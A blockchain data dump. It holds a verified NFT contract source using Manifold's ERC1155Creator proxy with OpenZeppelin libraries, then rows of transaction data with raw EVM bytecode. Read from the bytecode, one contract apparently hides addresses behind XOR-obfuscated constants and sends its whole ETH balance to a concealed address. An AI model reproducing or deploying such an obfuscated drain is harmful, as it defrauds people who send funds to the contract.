tlttttttdbWXHbkkXMMMMMMMMMHMMMMMMkkNNNHMMMHHMMMMMMMMMMMH\"\"7!..dMMMMNMMMMNdMMMI==dMMMMMMNqqHY _^!?!~?4qkSXWMMMMMMHHZWZXZXZXkMMMMNejZyZyZZyWkHyttltlttlt //\n// ttlttlttdHZZyyWHHHMMMMMMMMMMMMMMMMMMMMMMNMMMH\"MHHmJ, JdXbbppMMMMMMMMMMMMMMMM@====MMMMMMNqqh .... WHWQMMMMMMNqKZHZWZWyWHdMMMMMRdyZyZyZyWbHyttttlttt //\n// ttttttlwbWyZZyZyyZUMMMMMMMMMMMMMMMMMMM+..JgMNbpbpp\\ .WbbbbbbMMMMMMMMMMMMMMM#=====dMMMMMNqHHuAwuuuuuuXUWkNMMMMMMNqHXqWHXqqkKdMMMMM#1XyZyZyZyWbHyttttttt //\n// tttltOdbHyZyyZyZyyZVMMMMMMMMMMMMMMy====MMMMMNpbbW^ .XbbpbpbpMMMMM@=======vV======vMMMMMNHSXXwrXuuuXOXuXNMMMMMMMHqqqqqqqkqqSdMMMMM1?dZyZyZyZyXHHylttltt //\n// tttwdWbWZyZyZyZyZZyyXMMMMMMMMMMMMMN====MMMMMMHKWh. _7WpWWbWMMM#=================dMMMMMNuXwXZrttrtrXudMMMMMMMNMH#HHMNMHqHtdMMMM@>?zyZyZyZyZZyWHkmAkXk //\n// bbbkbHWZyZyZyZyZyZyZydMMMMMMMNMMMMN====dMMMMMHWWUWXuI JwuUXbMMMD<<<<<<<:::::::::<==TMMMMNNNNgNNNMNNNMMMM8qMMMHMHHHH#HMHHSdMMMMM#>?1XyZyZyZyZyZZyWWHbH //\n// yWWyZyZyZyZyZyZyZyZZdMMMMMqqqkHMMMMZ====MMMMMNkk?1ZV (O4ZuWNMME:::::::::::::~::+=====dMMMMMMMMMMMMMMMMSzqMMMMHH@H@HHHHH#rdMMMMMN+?>1XZyZyZyyZyyZyZWbR //\n// yZyZyZyZyZyZyZyZyZyyMMMMMMWqWWqMMMMb====dMMMMNR?uuI_.(???wQMMM$(::::::::::::::(1======zzZMMMMMMMMBOwXzzOdMMMMHM@MHH@@H@HSdMMMMMMMb?>>?XZyZyZZyZZyZyWbb //\n// yZyZZyZyZyZyZyZyZyZdMMMMNHXHZNMMMMM#=====zHMMMNkkXz??1ggMMM#9===1+::::::~::(+========zuzZXzZOXO+zOwx?zOdMMMMqMMqMMHHH@H#tMMMMMNqMMR?>?1XyZyZyZyyZyZXbb //\n// ZyyZyZyZyZyZyZyZyZyMMMMMHWWHdMMMNJB6=zzzzzzwdMMMMMMNMMMMM81========+(::~(+==========zzzwXzzOw+1OO++OXAMMMMMqMMHMMHMH@HMwdMMMMMqkqMMx?>??XyZyZyZZyZyZyW //\n// yZyZyyZyZyZyZyZyZyXMMMM#kZkWMMMMMMmuzuzzzXzzzzzzXWMMMwz==============?==============wuw+zOw+1OAx?zOzgMMMMMqHHHMHHMNH@MXdMMMMMqqkkqMMe?>?14UyZyyZyZyyZZ //\n// yZyZZXUUyZyZyZyZyXQMMMM4qqqMMMMMMM#OOzwzOw+Ouzzww+OzzzAz============================zzuzw+zOo+zXzGgMMMMMMHMHHMqHMMMHMMMMMMMMMMMNNHqMMMNggx+?1+vUyZZyZy //\n// ZyyZ3?>?vUXyZyZyqMMMMM#dqqkMMMMMMMMNzw?Oz1Oz+OAzzOO+OzzZ======================1gezz=zOzzzzwxwuwgMMMMMMMMH@NMMHHMMMMMMMMMMMMMMMMMMMHqHMMMMMMMMNx>?XyZyZ //\n// yZX3?>&&x>>?>?uMMMMMMM1WqqqMMMMMMM@8Xzzz1w+zXz+OXz1OO+OI==============1gggggggMMMNHNs===zzzzqMMMMMMMMMMMMMHHHHMMMMMMMMMMMH@H@MMMMMNkqMMMMMMMMM#??dyZyZ //\n// XV1>?dMMMMNNggdMM@4MM#>HHHHMMMMMM#<jzuO1O+OO+OAz1XXzzwO======ugHggMMN#uuXWHHHMm-JMMMMk======MMMMMMNgggggNMMMMMMMMMMMMMMMH@HHH@MMMMMHMMMMMMMMMMN>>1XZyy //\n// ?>?uMMMMMMMMMM# .MMM+HMHHMMMMMMM+:wzzAxOozzzzzXwwZO========vMHMMMMMZuuuuuuuuXWuuMMMMK=====zHMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMHHHOMNNMMMMMqMMMMMN?>>+TZy //\n// ?gMMMMFTMMMMMD MMMbMH@HMMMMMMMb:jwwXwzZOOOOl==============HMMMMKuuuZuuuuuuuuuuuXMMNz=========vvVqMMMMMMMMMMMMMMMMMMMMqMHM@HwdMMMMMMqqqMMMMMz??>?1T //\n// MMMMMt .MMMMMNJ. MMMNdH@HMMMMMMMM[(==========================HMMMMkuuuuZuuZuuZuuuuuuMb===========gMMMMMMMMMMMMMMMMMMMMNqqHHMHgMMMMMMMNHqqMMMMNx>?>?> //\n// MMM= .MMMMMMMMMMe.MMMM#HMHMMMMMMMMN-1==========================vMMMNXuuuuuuuuuuZuuuuudMy=========<TMMMMMMMMMMMMMMMMMMMMMNmqqMMMMMH@MMMMMMMMMMMMMNNggg //\n// .MMMMM=TMMMMMbMMMMMHMHHqMMMMMMMb:<===========================?MMNuuZuuZuuZuuuZuuuXMb=======<<:::(qMMMMMMMMMMMMMMMMMMMNHMMMMMMHStMMMMMMMMMMMMMMMMM //\n// .. .MMMM@(++:?MMMMMMMMMKHMHMHMMMMMMMp:?==========l=================?MNmuuuuuuuuuuuZuudM@=====z>:::(uMMMMMMMMHHMM@vWNMMMMMHMMMMMM@MrqMMMMMMMMMMMMMMHHM //\n// t{ dMMM#:1==1:JMMMMMMMMNgMHH@HMMMMMMMe:(1========zO==================dMNkuZuuZuuZuuuXM#=====<::::(dMMMMMMHH@HMMNgMMMMMMMH@HMMMHHMSqMMMM8.``dMMMMMMM@H //\n// t{ MMMMD(====1(MMMMMMMMMMMHHH@HMMMMMMMm::<1========l==================vHMNmkZuuuuuuZ=======>::::(MMMMMMH@HH@MMMMMMMMMMMMM@HH@H@MHMMMMM8;_``-MMMMMMNHH //\n// !` .MMM#<======vMMMMNWMMMMM@MMMHMMMMMMMMm_::<?1===========================vHMMM#uXVO======<<:::(dMMMMMH@HH@HMMMMMMMMHMMMMH@HHMMNMMMMMMW;;;_`.MMMMMMMH@ //\n// .(..MMM@+======dMMMMM)?MMMMNMMMMMMMMMMMMMNe(::::<?1=====================================<::::(dMMMMMHH@H@HHMMMMMMM@H@MMMMMMMMMMMMMMMNyy2;;<` MMMMMMMHM //\n// MMMNMMM#=======vWMMMMb (MMMMMMMMMMMMM#MMMMMMMNgJ-:::<1===============================<<:::(gMMMMMMHH@HH@H@#dMMMM@MMMMMMMMMMMMMMMMMMMMyyk;;;<jMMMMMMM@H //\n// MMMMMMMN=======>?MMMMF TMMMMMMMMMMF`.MMMMMMMMMMMNgJJ_<?1======================1<<<:(JjMMMMMMMHH@H@H@HHM8uMMMMMHMHMHMMMMMMMMMMMMMMMHyyyI;;jMMMMMMMHHq //\n// TYYTMMMNx======z::dMMN, .TMMMMMMM=``.yyMMMMMMMMMMMMMMMN&J<?<1=============<<<:((JgMMMMMMMMH@HH@HH@HHMBuuudMMMMHMmMqMMMH@HDdMMMM#yyyVyy$;jMMMMMMMM@Mq //\n// (((:::7MMNx=====<:dMMMMN, .dMMMMMY```.yyyy0+TMMMMMMMMMMMMMMMNgJ_:<<<1===z<<:(JgMMMMMMMMMMH@H@HH@H@HHMBuuzuudMMMMMHHHHHH@HH@wdMMMMHyyyyVyXgMMMMMMMMMHMH //\n// =====++_?MMm=====<(MMMMMMpdMMMMM^``.dyyyW3;;;;?TMMMMMMMMMMMMMMMMMNJ-:::((gMMMMMMMMMMMMH@HH@HH@HH@HMMSuuzuuuuMMMMNMMHMH@HM8AMMMMMNyVyyyWNMMMMMMMMMMH@HH //\n// ========<:MMK====1_:HMMMMMMMMMM^` .yyyyX!_(~_;jXyyWMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMHHH@HH@HH@H@HHMBzuuzuuQgNNmMMMMMMNHHMNNMMMMMMWyyyVWNMMMM\\,MMMMMMHH@H //\n// =========+MMN====z&_(MMMMMMMMM{`` 7WyyW:_(~_+uyyyyyyyyWMMMMMMMMMMMMMMMMMMMMMMMMMMH@H@HH@HHMHMM8uzuuzuQNMMMMMMMMMMMMMMMMMMMMMM5;;?WyyMMMMHy|``,MMMMMMMN //\n// =========zMMMp=1zwuI:(MMMMMMMMN,.`` Wy$_<~_;dyyyyyyyyyyyyyWYYHMMMMHyyyyyVMMMMMMMMMHMMMHWXzzuuuuuuuXgMMMMMMMMMMMMMMMMMMMMMMMS;;;<;?WyVyyyyy$```MMMMMMMM //\n// ========vjMMMNzuuuuX_:MMMMMMMMMMMgp..yy<;;;jyyyyyyyyyyVyyyf<;;JMMMMNVyyWMMMMMMMMMMBzuuzuuXQgNMMMMNMMMMMMMHH@H@MMMMMMMMM#yyyS<<<~<.(UyVyyVyk```,MMMMMMM //\n// zzzz==lz<?MMMMkuzuuu<:(MMMMMMMMMMMMNJyyI;;;;XVyyVyVyyVyyyy{_<_<dMMMMNmqMMMMMMMMMMXQggNNMMMMMMMMMMMMMMMM@H@HH@HH@HHNZMMMMkyyW<.<.__.?Wyyyyy0````MMMMMMM //\n// uuuuuuuI:(MMMMKuuzuuI:?MMMMMMMMMMMMMMNkk;;>;JyyVyyyVyyyVyy<_~___?MMMMMMMMMMMNggMMMMMMMMMHyyyyyWMMMMMMM@H@H@HH@MHHMHwMMMM#yyyI_(_(;+;vyyVyy$```.MMMMMMM //\n// uuuuuuzX:(MMMM#uuzuuI::MMMMMMHMMMM\"MMMMK;>;>;OyyyyyyyyyyVy-__(__;;dMMMMMMMMMMMMMMMMH5;;;4yyyyyyWMMMMMHH@HH@HHMqH@MHWMMMMNyyyk;+zOo+&+XyyVy$``.MMMMMMM@ //\n// uzuzuuuux(MMMMMKuuzu>::dMMMMMNMMMF.XMMMMm&++;;vyVyVyyVyyyyI<<(<(;;<yyyyyyVVVyyyyyyI;;;;;+XyyyyyWMMMMMMMMH@H@HMqHMqSdMMMM#yVyVcwvvvvvvzXyyyk`.MMMMMMMM@ //\n// uuzuzuuuX-dMMMMNkuuZ>::JMMMMNMMMM!,yyyyXHMMNNg+gyyyVyyVyyV$;;;;>;><yyyyyyyyyVyyyyX>;;;;;>XyVyyVWMMMMMMMMHH@H@HHHMHwMMMMMHyyyykzvvvvvzzzWyyy-(MMMMMMM@H //\n// uuuuuzuuuG(MMMMMNuuI:::dMMMMMMMMM`dyyyUvvvvvvZMMWyyyyyyyyyy+;>+++++JyyVyyyyyyVyyyk;;>;;;;<WyVyyyWMMMMMMMH@HHMHMMHXMMMMM#yyyVySzvvvvvvvzZyyWMMMMMMMMH@H //\n// uzuzuuzuuzXMMMMMMSz>:::MMMMMMMMMM:yyyykvvvvvvvvwdVyyVyyVyyyfjzvvvvvvvXWVyVyyyyVyVS+zvzwz&+zyyyyyyWHHMMMMMH@HHHH#gMMMMMNyyyyyykvvvvvvvvvzXWMMMMMMMH@HH@ //\n// //\n// //\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n\ncontract GCH is ERC1155Creator {\n constructor() ERC1155Creator(unicode\"🐰♠GESYU CHAN EDITION♠🐰\", \"GCH\") {}\n}\n"
},
"contracts/manifold/ERC1155Creator.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC1155Creator is Proxy {\n\n constructor(string memory name, string memory symbol) {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xE9FF7CA11280553Af56d04Ecb8Be6B8c4468DCB2;\n (bool success, ) = 0xE9FF7CA11280553Af56d04Ecb8Be6B8c4468DCB2.delegatecall(abi.encodeWithSignature(\"initialize(string,string)\", name, symbol));\n require(success, \"Initialization failed\");\n }\n\n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
},
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
}
},
"settings": {
"remappings": [
"@openzeppelin/=node_modules/@openzeppelin/"
],
"optimizer": {
"enabled": true,
"runs": 300
},
"metadata": {
"bytecodeHash": "ipfs"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}}
|
1 | 19,497,446 |
7f75c9c3dd81bb79675aebd6b8f9db901c8a6c2ea50e4e3261a9ec7e7030d6e5
|
5288926d45fbca0e90b97a6cf3ccd92e59f99f874732ac19a986a6d55bc2d847
|
d5bd866309804f73b5787706df69bd1589b94bf9
|
d5bd866309804f73b5787706df69bd1589b94bf9
|
7afcd4f12a31244d554d4aab9c2aae1e627c105a
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122054cf1d9e0f96ad2045cf3101533092846779b3c26b46c5c807cc8f056d50f7c364736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122054cf1d9e0f96ad2045cf3101533092846779b3c26b46c5c807cc8f056d50f7c364736f6c63430008070033
| |
1 | 19,497,446 |
7f75c9c3dd81bb79675aebd6b8f9db901c8a6c2ea50e4e3261a9ec7e7030d6e5
|
6ec74a2247b810d846ef369bfbedc33a51d902f119e6be371acd6ae4e45feee5
|
